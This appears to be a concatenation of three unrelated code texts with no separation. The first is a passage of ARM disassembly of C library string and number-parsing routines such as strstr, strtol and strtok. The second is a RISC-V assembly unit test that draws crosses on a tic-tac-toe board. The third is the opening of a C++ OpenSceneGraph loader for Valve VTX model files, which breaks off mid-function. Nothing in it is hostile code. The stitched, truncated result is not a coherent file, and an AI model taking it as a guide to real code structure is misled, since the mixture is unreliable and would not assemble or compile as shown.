r6, r4, r5 10107dca: 1a32 subs r2, r6, r0 10107dcc: 2100 movs r1, #0 10107dce: 4438 add r0, r7 10107dd0: f7fe ff26 bl 10106c20 <_memchr> 10107dd4: 2800 cmp r0, #0 10107dd6: d1dc bne.n 10107d92 <_strstr+0x86> 10107dd8: 2e00 cmp r6, #0 10107dda: d0da beq.n 10107d92 <_strstr+0x86> 10107ddc: 45c8 cmp r8, r9 10107dde: 4643 mov r3, r8 10107de0: bf38 it cc 10107de2: 464b movcc r3, r9 10107de4: 429c cmp r4, r3 10107de6: d912 bls.n 10107e0e <_strstr+0x102> 10107de8: 195a adds r2, r3, r5 10107dea: 5cb8 ldrb r0, [r7, r2] 10107dec: f81a 1003 ldrb.w r1, [sl, r3] 10107df0: 4288 cmp r0, r1 10107df2: 443a add r2, r7 10107df4: eb0a 0e03 add.w lr, sl, r3 10107df8: d006 beq.n 10107e08 <_strstr+0xfc> 10107dfa: e02c b.n 10107e56 <_strstr+0x14a> 10107dfc: f81e 0f01 ldrb.w r0, [lr, #1]! 10107e00: f812 1f01 ldrb.w r1, [r2, #1]! 10107e04: 4288 cmp r0, r1 10107e06: d126 bne.n 10107e56 <_strstr+0x14a> 10107e08: 3301 adds r3, #1 10107e0a: 429c cmp r4, r3 10107e0c: d1f6 bne.n 10107dfc <_strstr+0xf0> 10107e0e: 9b01 ldr r3, [sp, #4] 10107e10: 45c8 cmp r8, r9 10107e12: 4619 mov r1, r3 10107e14: f240 8082 bls.w 10107f1c <_strstr+0x210> 10107e18: 9800 ldr r0, [sp, #0] 10107e1a: 18ea adds r2, r5, r3 10107e1c: 5cbb ldrb r3, [r7, r2] 10107e1e: 7800 ldrb r0, [r0, #0] 10107e20: 4298 cmp r0, r3 10107e22: 443a add r2, r7 10107e24: d17a bne.n 10107f1c <_strstr+0x210> 10107e26: 9800 ldr r0, [sp, #0] 10107e28: f109 3bff add.w fp, r9, #4294967295 10107e2c: e006 b.n 10107e3c <_strstr+0x130> 10107e2e: f810 cd01 ldrb.w ip, [r0, #-1]! 10107e32: f812 ed01 ldrb.w lr, [r2, #-1]! 10107e36: 45f4 cmp ip, lr 10107e38: d103 bne.n 10107e42 <_strstr+0x136> 10107e3a: 4619 mov r1, r3 10107e3c: 1e4b subs r3, r1, #1 10107e3e: 455b cmp r3, fp 10107e40: d1f5 bne.n 10107e2e <_strstr+0x122> 10107e42: f109 0901 add.w r9, r9, #1 10107e46: 4589 cmp r9, r1 10107e48: d857 bhi.n 10107efa <_strstr+0x1ee> 10107e4a: 9b03 ldr r3, [sp, #12] 10107e4c: 4630 mov r0, r6 10107e4e: 441d add r5, r3 10107e50: eba4 0903 sub.w r9, r4, r3 10107e54: e7b8 b.n 10107dc8 <_strstr+0xbc> 10107e56: f1c8 0201 rsb r2, r8, #1 10107e5a: 4415 add r5, r2 10107e5c: 441d add r5, r3 10107e5e: f04f 0900 mov.w r9, #0 10107e62: 4630 mov r0, r6 10107e64: e7b0 b.n 10107dc8 <_strstr+0xbc> 10107e66: eba4 0308 sub.w r3, r4, r8 10107e6a: 4543 cmp r3, r8 10107e6c: bf38 it cc 10107e6e: 4643 movcc r3, r8 10107e70: f108 39ff add.w r9, r8, #4294967295 10107e74: 3301 adds r3, #1 10107e76: 9303 str r3, [sp, #12] 10107e78: eb06 0309 add.w r3, r6, r9 10107e7c: 4658 mov r0, fp 10107e7e: 2500 movs r5, #0 10107e80: 46bb mov fp, r7 10107e82: 469a mov sl, r3 10107e84: 1967 adds r7, r4, r5 10107e86: 1a3a subs r2, r7, r0 10107e88: 2100 movs r1, #0 10107e8a: 4458 add r0, fp 10107e8c: f7fe fec8 bl 10106c20 <_memchr> 10107e90: 2800 cmp r0, #0 10107e92: f47f af7e bne.w 10107d92 <_strstr+0x86> 10107e96: 2f00 cmp r7, #0 10107e98: f43f af7b beq.w 10107d92 <_strstr+0x86> 10107e9c: 4544 cmp r4, r8 10107e9e: d915 bls.n 10107ecc <_strstr+0x1c0> 10107ea0: eb08 0205 add.w r2, r8, r5 10107ea4: f81b 0002 ldrb.w r0, [fp, r2] 10107ea8: f816 3008 ldrb.w r3, [r6, r8] 10107eac: 4298 cmp r0, r3 10107eae: 445a add r2, fp 10107eb0: eb06 0108 add.w r1, r6, r8 10107eb4: 4643 mov r3, r8 10107eb6: d006 beq.n 10107ec6 <_strstr+0x1ba> 10107eb8: e023 b.n 10107f02 <_strstr+0x1f6> 10107eba: f811 ef01 ldrb.w lr, [r1, #1]! 10107ebe: f812 0f01 ldrb.w r0, [r2, #1]! 10107ec2: 4586 cmp lr, r0 10107ec4: d11d bne.n 10107f02 <_strstr+0x1f6> 10107ec6: 3301 adds r3, #1 10107ec8: 429c cmp r4, r3 10107eca: d1f6 bne.n 10107eba <_strstr+0x1ae> 10107ecc: f1b9 3fff cmp.w r9, #4294967295 10107ed0: d012 beq.n 10107ef8 <_strstr+0x1ec> 10107ed2: eb05 0209 add.w r2, r5, r9 10107ed6: f81b 1002 ldrb.w r1, [fp, r2] 10107eda: f89a 3000 ldrb.w r3, [sl] 10107ede: 4299 cmp r1, r3 10107ee0: 445a add r2, fp 10107ee2: d114 bne.n 10107f0e <_strstr+0x202> 10107ee4: 4653 mov r3, sl 10107ee6: e005 b.n 10107ef4 <_strstr+0x1e8> 10107ee8: f813 0d01 ldrb.w r0, [r3, #-1]! 10107eec: f812 1d01 ldrb.w r1, [r2, #-1]! 10107ef0: 4288 cmp r0, r1 10107ef2: d10c bne.n 10107f0e <_strstr+0x202> 10107ef4: 42b3 cmp r3, r6 10107ef6: d1f7 bne.n 10107ee8 <_strstr+0x1dc> 10107ef8: 465f mov r7, fp 10107efa: 1978 adds r0, r7, r5 10107efc: b005 add sp, #20 10107efe: e8bd 8ff0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, fp, pc} 10107f02: f1c8 0201 rsb r2, r8, #1 10107f06: 4415 add r5, r2 10107f08: 441d add r5, r3 10107f0a: 4638 mov r0, r7 10107f0c: e7ba b.n 10107e84 <_strstr+0x178> 10107f0e: 9b03 ldr r3, [sp, #12] 10107f10: 4638 mov r0, r7 10107f12: 441d add r5, r3 10107f14: e7b6 b.n 10107e84 <_strstr+0x178> 10107f16: 780b ldrb r3, [r1, #0] 10107f18: b913 cbnz r3, 10107f20 <_strstr+0x214> 10107f1a: 4770 bx lr 10107f1c: 4641 mov r1, r8 10107f1e: e790 b.n 10107e42 <_strstr+0x136> 10107f20: 2000 movs r0, #0 10107f22: 4770 bx lr 10107f24 <_strtoull>: 10107f24: e92d 43f0 stmdb sp!, {r4, r5, r6, r7, r8, r9, lr} 10107f28: 7801 ldrb r1, [r0, #0] 10107f2a: bbba cbnz r2, 10107f9c <_strtoull+0x78> 10107f2c: 2930 cmp r1, #48 ; 0x30 10107f2e: d043 beq.n 10107fb8 <_strtoull+0x94> 10107f30: 220a movs r2, #10 10107f32: 2900 cmp r1, #0 10107f34: d052 beq.n 10107fdc <_strtoull+0xb8> 10107f36: 2600 movs r6, #0 10107f38: 2700 movs r7, #0 10107f3a: b2d5 uxtb r5, r2 10107f3c: e015 b.n 10107f6a <_strtoull+0x46> 10107f3e: fb05 fe01 mul.w lr, r5, r1 10107f42: fb05 f104 mul.w r1, r5, r4 10107f46: fb05 f406 mul.w r4, r5, r6 10107f4a: eb01 611e add.w r1, r1, lr, lsr #24 10107f4e: 0a0e lsrs r6, r1, #8 10107f50: fb05 6907 mla r9, r5, r7, r6 10107f54: f024 447f bic.w r4, r4, #4278190080 ; 0xff000000 10107f58: ea44 6801 orr.w r8, r4, r1, lsl #24 10107f5c: f810 1f01 ldrb.w r1, [r0, #1]! 10107f60: eb18 0603 adds.w r6, r8, r3 10107f64: f149 0700 adc.w r7, r9, #0 10107f68: b1a1 cbz r1, 10107f94 <_strtoull+0x70> 10107f6a: f1a1 0330 sub.w r3, r1, #48 ; 0x30 10107f6e: f041 0420 orr.w r4, r1, #32 10107f72: b2d9 uxtb r1, r3 10107f74: b2e4 uxtb r4, r4 10107f76: 2909 cmp r1, #9 10107f78: f1a4 0e61 sub.w lr, r4, #97 ; 0x61 10107f7c: d904 bls.n 10107f88 <_strtoull+0x64> 10107f7e: f1be 0f05 cmp.w lr, #5 10107f82: d807 bhi.n 10107f94 <_strtoull+0x70> 10107f84: f1a4 0357 sub.w r3, r4, #87 ; 0x57 10107f88: 4293 cmp r3, r2 10107f8a: f026 417f bic.w r1, r6, #4278190080 ; 0xff000000 10107f8e: ea4f 6416 mov.w r4, r6, lsr #24 10107f92: d3d4 bcc.n 10107f3e <_strtoull+0x1a> 10107f94: 4630 mov r0, r6 10107f96: 4639 mov r1, r7 10107f98: e8bd 83f0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, pc} 10107f9c: 2a10 cmp r2, #16 10107f9e: d1c8 bne.n 10107f32 <_strtoull+0xe> 10107fa0: 2930 cmp r1, #48 ; 0x30 10107fa2: d1c6 bne.n 10107f32 <_strtoull+0xe> 10107fa4: 7843 ldrb r3, [r0, #1] 10107fa6: f043 0320 orr.w r3, r3, #32 10107faa: 2b78 cmp r3, #120 ; 0x78 10107fac: d1c3 bne.n 10107f36 <_strtoull+0x12> 10107fae: 7883 ldrb r3, [r0, #2] 10107fb0: 4619 mov r1, r3 10107fb2: 3002 adds r0, #2 10107fb4: 2210 movs r2, #16 10107fb6: e7bc b.n 10107f32 <_strtoull+0xe> 10107fb8: 7843 ldrb r3, [r0, #1] 10107fba: f043 0320 orr.w r3, r3, #32 10107fbe: 2b78 cmp r3, #120 ; 0x78 10107fc0: d001 beq.n 10107fc6 <_strtoull+0xa2> 10107fc2: 2208 movs r2, #8 10107fc4: e7b7 b.n 10107f36 <_strtoull+0x12> 10107fc6: 7883 ldrb r3, [r0, #2] 10107fc8: f1a3 0230 sub.w r2, r3, #48 ; 0x30 10107fcc: 2a09 cmp r2, #9 10107fce: d9ef bls.n 10107fb0 <_strtoull+0x8c> 10107fd0: f023 0220 bic.w r2, r3, #32 10107fd4: 3a41 subs r2, #65 ; 0x41 10107fd6: 2a05 cmp r2, #5 10107fd8: d9ea bls.n 10107fb0 <_strtoull+0x8c> 10107fda: e7f2 b.n 10107fc2 <_strtoull+0x9e> 10107fdc: 2600 movs r6, #0 10107fde: 2700 movs r7, #0 10107fe0: e7d8 b.n 10107f94 <_strtoull+0x70> 10107fe2: bf00 nop 10107fe4 <_strtoll>: 10107fe4: b510 push {r4, lr} 10107fe6: 7804 ldrb r4, [r0, #0] 10107fe8: 2c2d cmp r4, #45 ; 0x2d 10107fea: d003 beq.n 10107ff4 <_strtoll+0x10> 10107fec: e8bd 4010 ldmia.w sp!, {r4, lr} 10107ff0: f7ff bf98 b.w 10107f24 <_strtoull> 10107ff4: 3001 adds r0, #1 10107ff6: f7ff ff95 bl 10107f24 <_strtoull> 10107ffa: 4240 negs r0, r0 10107ffc: eb61 0141 sbc.w r1, r1, r1, lsl #1 10108000: bd10 pop {r4, pc} 10108002: bf00 nop 10108004 <_strtok>: 10108004: 2301 movs r3, #1 10108006: 4a01 ldr r2, [pc, #4] ; (1010800c <_strtok+0x8>) 10108008: f000 b802 b.w 10108010 <__strtok_r> 1010800c: 10000560 .word 0x10000560 10108010 <__strtok_r>: 10108010: b4f0 push {r4, r5, r6, r7} 10108012: b320 cbz r0, 1010805e <__strtok_r+0x4e> 10108014: 4607 mov r7, r0 10108016: 460d mov r5, r1 10108018: f817 6b01 ldrb.w r6, [r7], #1 1010801c: e001 b.n 10108022 <__strtok_r+0x12> 1010801e: 42a6 cmp r6, r4 10108020: d016 beq.n 10108050 <__strtok_r+0x40> 10108022: f815 4b01 ldrb.w r4, [r5], #1 10108026: 2c00 cmp r4, #0 10108028: d1f9 bne.n 1010801e <__strtok_r+0xe> 1010802a: b1ee cbz r6, 10108068 <__strtok_r+0x58> 1010802c: 463e mov r6, r7 1010802e: 460c mov r4, r1 10108030: f816 5b01 ldrb.w r5, [r6], #1 10108034: e000 b.n 10108038 <__strtok_r+0x28> 10108036: b173 cbz r3, 10108056 <__strtok_r+0x46> 10108038: f814 3b01 ldrb.w r3, [r4], #1 1010803c: 429d cmp r5, r3 1010803e: d1fa bne.n 10108036 <__strtok_r+0x26> 10108040: b15d cbz r5, 1010805a <__strtok_r+0x4a> 10108042: 2300 movs r3, #0 10108044: 703b strb r3, [r7, #0] 10108046: 6016 str r6, [r2, #0] 10108048: 4606 mov r6, r0 1010804a: 4630 mov r0, r6 1010804c: bcf0 pop {r4, r5, r6, r7} 1010804e: 4770 bx lr 10108050: b163 cbz r3, 1010806c <__strtok_r+0x5c> 10108052: 4638 mov r0, r7 10108054: e7de b.n 10108014 <__strtok_r+0x4> 10108056: 4637 mov r7, r6 10108058: e7e8 b.n 1010802c <__strtok_r+0x1c> 1010805a: 462e mov r6, r5 1010805c: e7f3 b.n 10108046 <__strtok_r+0x36> 1010805e: 6810 ldr r0, [r2, #0] 10108060: 2800 cmp r0, #0 10108062: d1d7 bne.n 10108014 <__strtok_r+0x4> 10108064: 4606 mov r6, r0 10108066: e7f0 b.n 1010804a <__strtok_r+0x3a> 10108068: 6016 str r6, [r2, #0] 1010806a: e7ee b.n 1010804a <__strtok_r+0x3a> 1010806c: 6017 str r7, [r2, #0] 1010806e: 4606 mov r6, r0 10108070: 7003 strb r3, [r0, #0] 10108072: e7ea b.n 1010804a <__strtok_r+0x3a> 10108074 <_strtok_r>: 10108074: 2301 movs r3, #1 10108076: f7ff bfcb b.w 10108010 <__strtok_r> 1010807a: bf00 nop 1010807c <_strtol_r>: 1010807c: e92d 47f0 stmdb sp!, {r4, r5, r6, r7, r8, r9, sl, lr} 10108080: 4684 mov ip, r0 10108082: 4605 mov r5, r0 10108084: 462b mov r3, r5 10108086: f813 4b01 ldrb.w r4, [r3], #1 1010808a: 2c20 cmp r4, #32 1010808c: f1a4 0609 sub.w r6, r4, #9 10108090: d003 beq.n 1010809a <_strtol_r+0x1e> 10108092: 2e04 cmp r6, #4 10108094: d901 bls.n 1010809a <_strtol_r+0x1e> 10108096: 2c2c cmp r4, #44 ; 0x2c 10108098: d101 bne.n 1010809e <_strtol_r+0x22> 1010809a: 461d mov r5, r3 1010809c: e7f2 b.n 10108084 <_strtol_r+0x8> 1010809e: 2c2d cmp r4, #45 ; 0x2d 101080a0: d05e beq.n 10108160 <_strtol_r+0xe4> 101080a2: f04f 0900 mov.w r9, #0 101080a6: 2c2b cmp r4, #43 ; 0x2b 101080a8: bf04 itt eq 101080aa: 786c ldrbeq r4, [r5, #1] 101080ac: 1cab addeq r3, r5, #2 101080ae: 2a00 cmp r2, #0 101080b0: d043 beq.n 1010813a <_strtol_r+0xbe> 101080b2: 2a10 cmp r2, #16 101080b4: d059 beq.n 1010816a <_strtol_r+0xee> 101080b6: 4610 mov r0, r2 101080b8: f1b9 0f00 cmp.w r9, #0 101080bc: bf0c ite eq 101080be: f06f 4800 mvneq.w r8, #2147483648 ; 0x80000000 101080c2: f04f 4800 movne.w r8, #2147483648 ; 0x80000000 101080c6: 2600 movs r6, #0 101080c8: fbb8 fef0 udiv lr, r8, r0 101080cc: 4637 mov r7, r6 101080ce: fb00 881e mls r8, r0, lr, r8 101080d2: e005 b.n 101080e0 <_strtol_r+0x64> 101080d4: d020 beq.n 10108118 <_strtol_r+0x9c> 101080d6: 2601 movs r6, #1 101080d8: fb00 5707 mla r7, r0, r7, r5 101080dc: f813 4b01 ldrb.w r4, [r3], #1 101080e0: f1a4 0530 sub.w r5, r4, #48 ; 0x30 101080e4: fa5f fa85 uxtb.w sl, r5 101080e8: f1ba 0f09 cmp.w sl, #9 101080ec: d909 bls.n 10108102 <_strtol_r+0x86> 101080ee: f1a4 0541 sub.w r5, r4, #65 ; 0x41 101080f2: 2d19 cmp r5, #25 101080f4: d90e bls.n 10108114 <_strtol_r+0x98> 101080f6: f1a4 0561 sub.w r5, r4, #97 ; 0x61 101080fa: 2d19 cmp r5, #25 101080fc: d811 bhi.n 10108122 <_strtol_r+0xa6> 101080fe: 2557 movs r5, #87 ; 0x57 10108100: 1b65 subs r5, r4, r5 10108102: 42aa cmp r2, r5 10108104: dd0d ble.n 10108122 <_strtol_r+0xa6> 10108106: 1c74 adds r4, r6, #1 10108108: d0e8 beq.n 101080dc <_strtol_r+0x60> 1010810a: 4577 cmp r7, lr 1010810c: d9e2 bls.n 101080d4 <_strtol_r+0x58> 1010810e: f04f 36ff mov.w r6, #4294967295 10108112: e7e3 b.n 101080dc <_strtol_r+0x60> 10108114: 2537 movs r5, #55 ; 0x37 10108116: e7f3 b.n 10108100 <_strtol_r+0x84> 10108118: 4545 cmp r5, r8 1010811a: dddc ble.n 101080d6 <_strtol_r+0x5a> 1010811c: f04f 36ff mov.w r6, #4294967295 10108120: e7dc b.n 101080dc <_strtol_r+0x60> 10108122: 1c72 adds r2, r6, #1 10108124: d010 beq.n 10108148 <_strtol_r+0xcc> 10108126: f1b9 0f00 cmp.w r9, #0 1010812a: d10b bne.n 10108144 <_strtol_r+0xc8> 1010812c: 4638 mov r0, r7 1010812e: b379 cbz r1, 10108190 <_strtol_r+0x114> 10108130: b996 cbnz r6, 10108158 <_strtol_r+0xdc> 10108132: 4663 mov r3, ip 10108134: 600b str r3, [r1, #0] 10108136: e8bd 87f0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, pc} 1010813a: 2c30 cmp r4, #48 ; 0x30 1010813c: d021 beq.n 10108182 <_strtol_r+0x106> 1010813e: 220a movs r2, #10 10108140: 4610 mov r0, r2 10108142: e7b9 b.n 101080b8 <_strtol_r+0x3c> 10108144: 427f negs r7, r7 10108146: e7f1 b.n 1010812c <_strtol_r+0xb0> 10108148: f1b9 0f00 cmp.w r9, #0 1010814c: bf14 ite ne 1010814e: f04f 4000 movne.w r0, #2147483648 ; 0x80000000 10108152: f06f 4000 mvneq.w r0, #2147483648 ; 0x80000000 10108156: b1e9 cbz r1, 10108194 <_strtol_r+0x118> 10108158: 3b01 subs r3, #1 1010815a: 600b str r3, [r1, #0] 1010815c: e8bd 87f0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, pc} 10108160: 1cab adds r3, r5, #2 10108162: 786c ldrb r4, [r5, #1] 10108164: f04f 0901 mov.w r9, #1 10108168: e7a1 b.n 101080ae <_strtol_r+0x32> 1010816a: 2c30 cmp r4, #48 ; 0x30 1010816c: d1a3 bne.n 101080b6 <_strtol_r+0x3a> 1010816e: 7818 ldrb r0, [r3, #0] 10108170: f000 00df and.w r0, r0, #223 ; 0xdf 10108174: 2858 cmp r0, #88 ; 0x58 10108176: d19e bne.n 101080b6 <_strtol_r+0x3a> 10108178: 2010 movs r0, #16 1010817a: 785c ldrb r4, [r3, #1] 1010817c: 4602 mov r2, r0 1010817e: 3302 adds r3, #2 10108180: e79a b.n 101080b8 <_strtol_r+0x3c> 10108182: 781a ldrb r2, [r3, #0] 10108184: f002 02df and.w r2, r2, #223 ; 0xdf 10108188: 2a58 cmp r2, #88 ; 0x58 1010818a: d0f5 beq.n 10108178 <_strtol_r+0xfc> 1010818c: 2208 movs r2, #8 1010818e: e792 b.n 101080b6 <_strtol_r+0x3a> 10108190: e8bd 87f0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, pc} 10108194: e8bd 87f0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, pc} 10108198 <_strtol>: 10108198: f7ff bf70 b.w 1010807c <_strtol_r> 1010819c <_strtoul_r>: 1010819c: e92d 47f0 stmdb sp!, {r4, r5, r6, r7, r8, r9, sl, lr} 101081a0: 4605 mov r5, r0 101081a2: 462b mov r3, r5 101081a4: f813 4b01 ldrb.w r4, [r3], #1 101081a8: 2c20 cmp r4, #32 101081aa: f1a4 0609 sub.w r6, r4, #9 101081ae: d003 beq.n 101081b8 <_strtoul_r+0x1c> 101081b0: 2e04 cmp r6, #4 101081b2: d901 bls.n 101081b8 <_strtoul_r+0x1c> 101081b4: 2c2c cmp r4, #44 ; 0x2c 101081b6: d101 bne.n 101081bc <_strtoul_r+0x20> 101081b8: 461d mov r5, r3 101081ba: e7f2 b.n 101081a2 <_strtoul_r+0x6> 101081bc: 2c2d cmp r4, #45 ; 0x2d 101081be: d056 beq.n 1010826e <_strtoul_r+0xd2> 101081c0: f04f 0900 mov.w r9, #0 101081c4: 2c2b cmp r4, #43 ; 0x2b 101081c6: bf04 itt eq 101081c8: 786c ldrbeq r4, [r5, #1] 101081ca: 1cab addeq r3, r5, #2 101081cc: b15a cbz r2, 101081e6 <_strtoul_r+0x4a> 101081ce: 2a10 cmp r2, #16 101081d0: d052 beq.n 10108278 <_strtoul_r+0xdc> 101081d2: f04f 3eff mov.w lr, #4294967295 101081d6: fbbe fef2 udiv lr, lr, r2 101081da: fb02 f80e mul.w r8, r2, lr 101081de: 4694 mov ip, r2 101081e0: ea6f 0808 mvn.w r8, r8 101081e4: e007 b.n 101081f6 <_strtoul_r+0x5a> 101081e6: 2c30 cmp r4, #48 ; 0x30 101081e8: d057 beq.n 1010829a <_strtoul_r+0xfe> 101081ea: 220a movs r2, #10 101081ec: f04f 0805 mov.w r8, #5 101081f0: 4694 mov ip, r2 101081f2: f8df e0d8 ldr.w lr, [pc, #216] ; 101082cc <_strtoul_r+0x130> 101081f6: 2600 movs r6, #0 101081f8: 4637 mov r7, r6 101081fa: e005 b.n 10108208 <_strtoul_r+0x6c> 101081fc: d020 beq.n 10108240 <_strtoul_r+0xa4> 101081fe: 2601 movs r6, #1 10108200: fb0c 5707 mla r7, ip, r7, r5 10108204: f813 4b01 ldrb.w r4, [r3], #1 10108208: f1a4 0530 sub.w r5, r4, #48 ; 0x30 1010820c: fa5f fa85 uxtb.w sl, r5 10108210: f1ba 0f09 cmp.w sl, #9 10108214: d909 bls.n 1010822a <_strtoul_r+0x8e> 10108216: f1a4 0541 sub.w r5, r4, #65 ; 0x41 1010821a: 2d19 cmp r5, #25 1010821c: d90e bls.n 1010823c <_strtoul_r+0xa0> 1010821e: f1a4 0561 sub.w r5, r4, #97 ; 0x61 10108222: 2d19 cmp r5, #25 10108224: d811 bhi.n 1010824a <_strtoul_r+0xae> 10108226: 2557 movs r5, #87 ; 0x57 10108228: 1b65 subs r5, r4, r5 1010822a: 42aa cmp r2, r5 1010822c: dd0d ble.n 1010824a <_strtoul_r+0xae> 1010822e: 2e00 cmp r6, #0 10108230: db01 blt.n 10108236 <_strtoul_r+0x9a> 10108232: 4577 cmp r7, lr 10108234: d9e2 bls.n 101081fc <_strtoul_r+0x60> 10108236: f04f 36ff mov.w r6, #4294967295 1010823a: e7e3 b.n 10108204 <_strtoul_r+0x68> 1010823c: 2537 movs r5, #55 ; 0x37 1010823e: e7f3 b.n 10108228 <_strtoul_r+0x8c> 10108240: 4545 cmp r5, r8 10108242: dddc ble.n 101081fe <_strtoul_r+0x62> 10108244: f04f 36ff mov.w r6, #4294967295 10108248: e7dc b.n 10108204 <_strtoul_r+0x68> 1010824a: 2e00 cmp r6, #0 1010824c: db09 blt.n 10108262 <_strtoul_r+0xc6> 1010824e: f1b9 0f00 cmp.w r9, #0 10108252: d000 beq.n 10108256 <_strtoul_r+0xba> 10108254: 427f negs r7, r7 10108256: b109 cbz r1, 1010825c <_strtoul_r+0xc0> 10108258: b93e cbnz r6, 1010826a <_strtoul_r+0xce> 1010825a: 6008 str r0, [r1, #0] 1010825c: 4638 mov r0, r7 1010825e: e8bd 87f0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, pc} 10108262: f04f 37ff mov.w r7, #4294967295 10108266: 2900 cmp r1, #0 10108268: d0f8 beq.n 1010825c <_strtoul_r+0xc0> 1010826a: 1e58 subs r0, r3, #1 1010826c: e7f5 b.n 1010825a <_strtoul_r+0xbe> 1010826e: 1cab adds r3, r5, #2 10108270: 786c ldrb r4, [r5, #1] 10108272: f04f 0901 mov.w r9, #1 10108276: e7a9 b.n 101081cc <_strtoul_r+0x30> 10108278: 2c30 cmp r4, #48 ; 0x30 1010827a: d11a bne.n 101082b2 <_strtoul_r+0x116> 1010827c: 781d ldrb r5, [r3, #0] 1010827e: f005 05df and.w r5, r5, #223 ; 0xdf 10108282: 2d58 cmp r5, #88 ; 0x58 10108284: d11b bne.n 101082be <_strtoul_r+0x122> 10108286: f04f 0c10 mov.w ip, #16 1010828a: 785c ldrb r4, [r3, #1] 1010828c: 4662 mov r2, ip 1010828e: 3302 adds r3, #2 10108290: f04f 080f mov.w r8, #15 10108294: f06f 4e70 mvn.w lr, #4026531840 ; 0xf0000000 10108298: e7ad b.n 101081f6 <_strtoul_r+0x5a> 1010829a: 781a ldrb r2, [r3, #0] 1010829c: f002 02df and.w r2, r2, #223 ; 0xdf 101082a0: 2a58 cmp r2, #88 ; 0x58 101082a2: d0f0 beq.n 10108286 <_strtoul_r+0xea> 101082a4: 2208 movs r2, #8 101082a6: f04f 0807 mov.w r8, #7 101082aa: 4694 mov ip, r2 101082ac: f06f 4e60 mvn.w lr, #3758096384 ; 0xe0000000 101082b0: e7a1 b.n 101081f6 <_strtoul_r+0x5a> 101082b2: f04f 080f mov.w r8, #15 101082b6: f06f 4e70 mvn.w lr, #4026531840 ; 0xf0000000 101082ba: 4694 mov ip, r2 101082bc: e79b b.n 101081f6 <_strtoul_r+0x5a> 101082be: 4694 mov ip, r2 101082c0: f04f 080f mov.w r8, #15 101082c4: f06f 4e70 mvn.w lr, #4026531840 ; 0xf0000000 101082c8: e795 b.n 101081f6 <_strtoul_r+0x5a> 101082ca: bf00 nop 101082cc: 19999999 .word 0x19999999 101082d0 <_strtoul>: 101082d0: f7ff bf64 b.w 1010819c <_strtoul_r> 101082d4 <_strupr>: 101082d4: 7803 ldrb r3, [r0, #0] 101082d6: b153 cbz r3, 101082ee <_strupr+0x1a> 101082d8: 4602 mov r2, r0 101082da: f1a3 0161 sub.w r1, r3, #97 ; 0x61 101082de: 2919 cmp r1, #25 101082e0: bf9c itt ls 101082e2: 3b20 subls r3, #32 101082e4: 7013 strbls r3, [r2, #0] 101082e6: f812 3f01 ldrb.w r3, [r2, #1]! 101082ea: 2b00 cmp r3, #0 101082ec: d1f5 bne.n 101082da <_strupr+0x6> 101082ee: 4770 bx lr
#this is the unittest for the function "draw_cross". #input: # cross on field 3, 5 and 7 #expected output: # | | |X| # | |X| | # |X| | | utest_draw_cross: #draw a cross in the top right field li a3, 427 li a4, 85 li a7, 0xffffff jal draw_cross #draw a cross in the field in the middle li a3, 256 li a4, 256 li a7, 0xffffff jal draw_cross #draw a cross in the bottom left field li a3, 85 li a4, 427 li a7, 0xffffff jal draw_cross li a7, 10 ecall .include "tictactoe.asm"
#include <osg/Geometry> #include <osg/Group> #include <osg/Node> #include <osg/Notify> #include <osg/StateSet> #include <osg/Switch> #include <iostream> #include "VTXReader.h" using namespace mdl; using namespace osg; using namespace osgDB; VTXReader::VTXReader(VVDReader * vvd, MDLRoot * mdlRoot) { // Save the VVD reader, as we'll need it to read vertex data vvd_reader = vvd; // Save the root of the MDL tree, as we'll need it to make sure we // index the vertex data properly mdl_root = mdlRoot; // Initialize the root group model_root = NULL; } VTXReader::~VTXReader() { } ref_ptr<Group> VTXReader::processBodyPart(std::istream * str, int offset, BodyPart * currentPart) { int i; VTXBodyPart part; Model * currentModel; ref_ptr<Group> partSwitch; ref_ptr<Group> modelGroup; // Seek to the body part str->seekg(offset); // Read it str->read((char *) &part, sizeof(VTXBodyPart)); // If there is more than one model, create a switch to select between them // (it seems that only one model is supposed to be seen at a given time, // but I don't know the mechanism in the engine that selects a desired // model) if (part.num_models > 1) { partSwitch = new Switch(); } // Process the models for (i = 0; i < part.num_models; i++) { // Get the corresponding MDL model from the current body part currentModel = currentPart->getModel(i); // Process the model modelGroup = processModel(str, offset + part.model_offset + (i * sizeof(VTXModel)), currentModel); // If there is more than one model, add this model to the part group if (part.num_models > 1) { // Add the model to the switch partSwitch->addChild(modelGroup.get()); // If this is the first child, turn it on, otherwise turn it off if (i == 0) ((osg::Switch *)partSwitch.get())->setValue(i, true); else ((osg::Switch *)partSwitch.get())->setValue(i, false); } } // If there is only one model, just return it if (part.num_models == 1) return modelGroup; else return partSwitch; } ref_ptr<Group> VTXReader::processModel(std::istream * str, int offset, Model * currentModel) { int i; VTXModel model; float lastDistance; float distance; LOD * lodNode = 0; ref_ptr<Group> group; ref_ptr<Group> result; // Seek to the model str->seekg(offset); // Read it str->read((char *) &model, sizeof(VTXModel)); // If we have multiple LODs, create an LOD node for them if (model.num_lods > 1) lodNode = new LOD(); // Initialize the distances lastDistance = 0.0; distance = 0.0; // Process the LODs for (i = 0; i < model.num_lods; i++) { // Process the LOD group, passing the current MDL model through group = processLOD(i, &distance, str, offset + model.lod_offset + (i * sizeof(VTXModelLOD)), currentModel); // If this isn't the only LOD, add it to the LOD node if (model.num_lods > 1) { lodNode->addChild(group.get()); // Fix the LOD distances if (distance < 0) { // Fix negative distance (my best guess is that these mean // for the LOD to never switch out) distance = 100000.0; } // Set the ranges on the previous LOD (now that we know the // switch point for this one) if (i > 0) lodNode->setRange(i-1, lastDistance, distance); lastDistance = distance; } } if (i > 1) lodNode->setRange(i-1, lastDistance, 100000.0); // Return either the LOD node or the single LOD group if (model.num_lods > 1) result = lodNode; else result = group; return result; } ref_ptr<Group> VTXReader::processLOD(int lodNum, float * distance, std::istream * str, int offset, Model * currentModel) { int i; VTXModelLOD lod; Mesh * currentMesh; int vertexOffset; ref_ptr<Group> lodGroup; ref_ptr<Geode> geode; // Seek to the LOD str->seekg(offset); // Read it str->read((char *) &lod, sizeof(VTXModelLOD)); // Create a group to hold this LOD lodGroup = new Group(); // Process the meshes vertexOffset = currentModel->getVertexBase(); for (i = 0; i < lod.num_meshes; i++) { // Get the corresponding MDL mesh from the current model 